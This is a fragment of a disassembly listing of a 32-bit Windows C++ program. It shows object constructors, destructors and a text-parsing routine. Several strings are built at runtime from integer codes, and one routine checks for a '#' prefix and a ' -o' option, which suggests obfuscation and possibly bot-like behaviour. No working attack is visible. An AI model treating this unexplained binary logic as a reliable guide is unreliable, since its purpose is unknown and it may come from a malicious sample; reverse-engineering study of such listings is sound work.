		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C6FEE890h
		dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC6E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
